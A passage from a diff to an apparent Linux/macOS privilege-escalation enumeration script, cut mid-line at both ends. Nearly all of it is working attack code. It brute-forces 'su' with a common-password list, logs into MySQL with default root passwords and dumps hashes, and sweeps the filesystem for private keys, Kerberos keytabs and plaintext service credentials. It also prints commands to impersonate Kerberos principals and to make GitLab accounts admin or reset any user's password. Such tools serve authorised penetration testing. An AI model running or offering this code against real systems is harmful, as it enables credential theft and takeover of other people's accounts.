"s,root,${SED_RED}," + +EXISTS_FINGER="$(command -v finger 2>/dev/null)" +if [ "$MACPEAS" ] && [ "$EXISTS_FINGER" ]; then + dscl . list /Users | while read uname; do + ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) + if grep -q "$ushell" /etc/shells; then #Shell user + finger "$uname" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + echo "" + fi + done +fi +echo "" + +#-- UI) Password policy +if [ "$EXTRA_CHECKS" ]; then + print_2title "Password policy" + grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null || echo_not_found "/etc/login.defs" + echo "" + + if [ "$MACPEAS" ]; then + print_2title "Relevant last user info and user configs" + defaults read /Library/Preferences/com.apple.loginwindow.plist 2>/dev/null + echo "" + + print_2title "Guest user status" + sysadminctl -afpGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," + sysadminctl -guestAccount status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," + sysadminctl -smbGuestAccess status | sed -${E} "s,enabled,${SED_RED}," | sed -${E} "s,disabled,${SED_GREEN}," + echo "" + fi +fi + +#-- UI) Brute su +EXISTS_SUDO="$(command -v sudo 2>/dev/null)" +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ] && ! [ "$IAMROOT" ] && [ "$EXISTS_SUDO" ]; then + print_2title "Testing 'su' as other users with shell using as passwords: null pwd, the username and top2000pwds\n"$NC + POSSIBE_SU_BRUTE=$(check_if_su_brute); + if [ "$POSSIBE_SU_BRUTE" ]; then + SHELLUSERS=$(cat /etc/passwd 2>/dev/null | grep -i "sh$" | cut -d ":" -f 1) + printf "%s\n" "$SHELLUSERS" | while read u; do + echo " Bruteforcing user $u..." + su_brute_user_num "$u" $PASSTRY + done + else + printf $GREEN"It's not possible to brute-force su.\n\n"$NC + fi +else + print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC +fi +print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q software_information; then +print_title "Software Information" +########################################### +#--------) Software Information (---------# +########################################### + +NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" + +#-- SI) Useful software +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Useful software" + for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done + echo "" +fi + +#-- SI) Search for compilers +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Installed Compilers" + (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); + echo "" + + if [ "$(command -v pkg 2>/dev/null)" ]; then + print_2title "Vulnerable Packages" + pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" + echo "" + fi + + if [ "$(command -v brew 2>/dev/null)" ]; then + print_2title "Brew Installed Packages" + brew list + echo "" + fi +fi + +if [ "$MACPEAS" ]; then + print_2title "Writable Installed Applications" + system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do + if [ -w "$f" ]; then + echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" + fi + done + + system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do + if [ -w "$f" ]; then + echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" + fi + done +fi + +#-- SI) Mysql version +if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then + print_2title "MySQL version" + mysql --version 2>/dev/null || echo_not_found "mysql" + mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1) + if [ "$mysqluser" ]; then + echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + echo "" + echo "" + + #-- SI) Mysql connection root/root + print_list "MySQL connection using default root/root ........... " + mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null) + if [ "$mysqlconnect" ]; then + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + #-- SI) Mysql connection root/toor + print_list "MySQL connection using root/toor ................... " + mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null) + if [ "$mysqlconnect" ]; then + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + #-- SI) Mysql connection root/NOPASS + mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null) + print_list "MySQL connection using root/NOPASS ................. " + if [ "$mysqlconnectnopass" ]; then + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + echo "" +fi + +#-- SI) Mysql credentials +if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then + print_2title "Searching mysql credentials and exec" + printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do + if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds) + STRINGS="`command -v strings`" + echo "Potential file containing credentials:" + ls -l "$d" + if [ "$STRINGS" ]; then + strings "$d" + else + echo "Strings not found, cat the file and check it to get the creds" + fi + + else + for f in $(find $d -name debian.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," + cat "$f" + fi + done + + for f in $(find $d -name user.MYD 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," + grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password" + fi + done + + for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do + if [ -r "$f" ]; then + u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) + echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + done + + for f in $(find $d -name my.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "Found readable $f" + grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," + fi + done + fi + + mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so") + if [ "$mysqlexec" ]; then + echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)" + echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," + fi + done +fi +echo "" + +peass{MariaDB} + +peass{PostgreSQL} + +#-- SI) PostgreSQL brute +if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this + print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ " + if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " + if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED}," + else echo_no + fi + + print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... " + if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... " + if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + echo "" +fi + +peass{Mongo} + +peass{Apache-Nginx} + +peass{Tomcat} + +peass{FastCGI} + +peass{Http_conf} + +peass{Htpasswd} + +peass{PHP Sessions} + +peass{Wordpress} + +peass{Drupal} + +peass{Moodle} + +peass{Supervisord} + +peass{Cesi} + +peass{Rsync} + +peass{Hostapd} + +peass{Wifi Connections} + +peass{Anaconda ks} + +peass{VNC} + +peass{OpenVPN} + +peass{Ldap} + +if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then + print_2title "Searching Log4Shell vulnerable libraries" + printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do + echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},"; + done + echo "" +fi + +#-- SI) ssh files +print_2title "Searching ssl/ssh files" +if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi +if ! [ "$SEARCH_IN_FOLDER" ]; then + sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" + writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +else + sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)" + writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +fi + +peass{SSH} + +grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$TIMEOUT" ]; then + privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) + privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) + privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) + privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) + else + privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout + privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) + fi +else + # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware + privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null) +fi + +if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then + echo "" + print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED}," + if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi + echo "" +fi +if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then + print_3title "Some certificates were found (out limited):" + printf "$certsb4_grep\n" | head -n 20 + printf "$$PSTORAGE_CERTSBIN\n" | head -n 20 + echo "" +fi +if [ "$PSTORAGE_CERTSCLIENT" ]; then + print_3title "Some client certificates were found:" + printf "$PSTORAGE_CERTSCLIENT\n" + echo "" +fi +if [ "$PSTORAGE_SSH_AGENTS" ]; then + print_3title "Some SSH Agent files were found:" + printf "$PSTORAGE_SSH_AGENTS\n" + echo "" +fi +if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then + print_3title "Listing SSH Agents" + ssh-add -l + echo "" +fi +if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then + print_3title "Listing gpg keys cached in gpg-agent" + gpg-connect-agent "keyinfo --list" /bye + echo "" +fi +if [ "$writable_agents" ]; then + print_3title "Writable ssh and gpg agents" + printf "%s\n" "$writable_agents" +fi +if [ "$PSTORAGE_SSH_CONFIG" ]; then + print_3title "Some home ssh config file was found" + printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done + echo "" +fi +if [ "$hostsdenied" ]; then + print_3title "/etc/hosts.denied file found, read the rules:" + printf "$hostsdenied\n" + cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," + echo "" +fi +if [ "$hostsallow" ]; then + print_3title "/etc/hosts.allow file found, trying to read the rules:" + printf "$hostsallow\n" + cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," + echo "" +fi +if [ "$sshconfig" ]; then + echo "" + echo "Searching inside /etc/ssh/ssh_config for interesting info" + grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," +fi +echo "" + +peass{PAM Auth} + +#-- SI) Passwords inside pam.d +pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#") +if [ "$pamdpass" ] || [ "$DEBUG" ]; then + print_2title "Passwords inside pam.d" + grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," + echo "" +fi + +peass{NFS Exports} + +#-- SI) Kerberos +kadmin_exists="$(command -v kadmin)" +klist_exists="$(command -v klist)" +kinit_exists="$(command -v kinit)" +if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then + print_2title "Searching kerberos conf files and tickets" + print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory" + + if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi + if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi + if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi + ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" + if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g"; + else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g"; + fi + + (env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g" + + printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do + if [ -r "$f" ]; then + if echo "$f" | grep -q .k5login; then + echo ".k5login file (users with access to the user who has this file in his home)" + cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" + elif echo "$f" | grep -q keytab; then + echo "" + echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords" + klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" + printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do + if [ "$l" ] && echo "$l" | grep -q "@"; then + printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g" + #kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid + #We could also try to create a new user or modify a password, but I'm not user if linpeas should do that + fi + done + elif echo "$f" | grep -q krb5.conf; then + ls -l "$f" + cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},"; + elif echo "$f" | grep -q kadm5.acl; then + ls -l "$f" + cat "$f" 2>/dev/null + elif echo "$f" | grep -q sssd.conf; then + ls -l "$f" + cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},"; + elif echo "$f" | grep -q secrets.ldb; then + echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; + ls -l "$f" + elif echo "$f" | grep -q .secrets.mkey; then + echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; + ls -l "$f" + fi + fi + done + ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos" + klist 2>/dev/null || echo_not_found "klist" + echo "" + +fi + +peass{FreeIPA} + +peass{Knockd} + +peass{Kibana} + +peass{Elasticsearch} + +##-- SI) Logstash +if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then + print_2title "Searching logstash files" + printf "$PSTORAGE_LOGSTASH" + printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do + if [ -r "$d/startup.options" ]; then + echo "Logstash is running as user:" + cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED}," + fi + cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED}," + cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED}," + done +fi +echo "" + +#-- SI) Vault-ssh +if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then + print_2title "Searching Vault-ssh files" + printf "$PSTORAGE_VAULT_SSH_HELPER\n" + printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done + echo "" + vault secrets list 2>/dev/null + printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null +fi +echo "" + +#-- SI) Cached AD Hashes +adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null) +if [ "$adhashes" ] || [ "$DEBUG" ]; then + print_2title "Searching AD cached hashes" + ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null + echo "" +fi + +#-- SI) Screen sessions +if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching screen sessions" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" + screensess=$(screen -ls 2>/dev/null) + screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) + + screen -v + printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m," + + find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do + echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," + done + echo "" +fi + +#-- SI) Tmux sessions +tmuxdefsess=$(tmux ls 2>/dev/null) +tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) +tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) +if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching tmux sessions"$N + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" + tmux -V + printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," + + find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do + echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," + done + echo "" +fi + +peass{CouchDB} + +peass{Redis} + +#-- SI) Dovecot +# Needs testing +dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null) +if [ "$dovecotpass" ] || [ "$DEBUG" ]; then + print_2title "Searching dovecot files" + if [ -z "$dovecotpass" ]; then + echo_not_found "dovecot credentials" + else + printf "%s\n" "$dovecotpass" | while read d; do + df=$(echo $d |cut -d ':' -f1) + dp=$(echo $d |cut -d ':' -f2-) + echo "Found possible PLAIN text creds in $df" + echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null + done + fi + echo "" +fi + +peass{Mosquitto} + +peass{Neo4j} + +AWSVAULT="$(command -v aws-vault 2>/dev/null)" +if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then + print_2title "Check aws-vault" + aws-vault list +fi + +peass{Cloud Credentials} + +peass{Cloud Init} + +peass{CloudFlare} + +peass{Erlang} + +peass{GMV Auth} + +peass{IPSec} + +peass{IRSSI} + +peass{Keyring} + +peass{Filezilla} + +peass{Backup Manager} + +##-- SI) passwd files (splunk) +SPLUNK_BIN="$(command -v splunk 2>/dev/null)" +if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then + print_2title "Searching uncommon passwd files (splunk)" + if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi + printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do + if [ -f "$f" ] && ! [ -x "$f" ]; then + echo "passwd file: $f" | sed "s,$f,${SED_RED}," + cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," + fi + done + echo "" +fi + +if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then + print_2title "Analyzing kcpassword files" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#kcpassword" + printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do + echo "$f" | sed -${E} "s,.*,${SED_RED}," + base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + done + echo "" +fi + +##-- SI) Gitlab +if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then + print_2title "Searching GitLab related files" + #Check gitlab-rails + if [ "$(command -v gitlab-rails)" ]; then + echo "gitlab-rails was found. Trying to dump users..." + gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED}," + echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'" + echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'" + echo "" + fi + if [ "$(command -v gitlab-backup)" ]; then + echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'" + echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'" + echo "" + fi + #Check gitlab files + printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do + if echo $f | grep -q secrets.yml; then + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" + elif echo $f | grep -q gitlab.yml; then + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "$f" | grep -A 4 "repositories:" + elif echo $f | grep -q gitlab.rb; then + echo "Found $f" | sed "s,$f,${SED_RED}," + cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED}," + fi + echo "" + done + echo "" +fi + +peass{Github} + +peass{Svn} + +peass{PGP-GPG} + +peass{Cache Vi} + +peass{Wget} + +##-- SI) containerd installed +if ! [ "$SEARCH_IN_FOLDER" ]; then + containerd=$(command -v ctr) + if [ "$containerd" ] || [ "$DEBUG" ]; then + print_2title "Checking if containerd(ctr) is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation" + if [ "$containerd" ]; then + echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + ctr image list 2>&1 + fi + echo "" + fi +fi + +##-- SI) runc installed +if ! [ "$SEARCH_IN_FOLDER" ]; then + runc=$(command -v runc) + if [ "$runc" ] || [ "$DEBUG" ]; then + print_2title "Checking if runc is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation" + if [ "$runc" ]; then + echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + fi + echo "" + fi +fi + +#-- SI) Docker +if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then + print_2title "Searching docker files (limit 70)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation" + printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do + ls -l "$f" 2>/dev/null + if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then + echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi + done + echo "" +fi + +peass{Kubernetes} + +peass{Firefox} + +peass{Chrome} + +peass{Autologin} + +#-- SI) S/Key athentication +if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then + print_2title "S/Key authentication" + printf "System supports$RED S/Key$NC 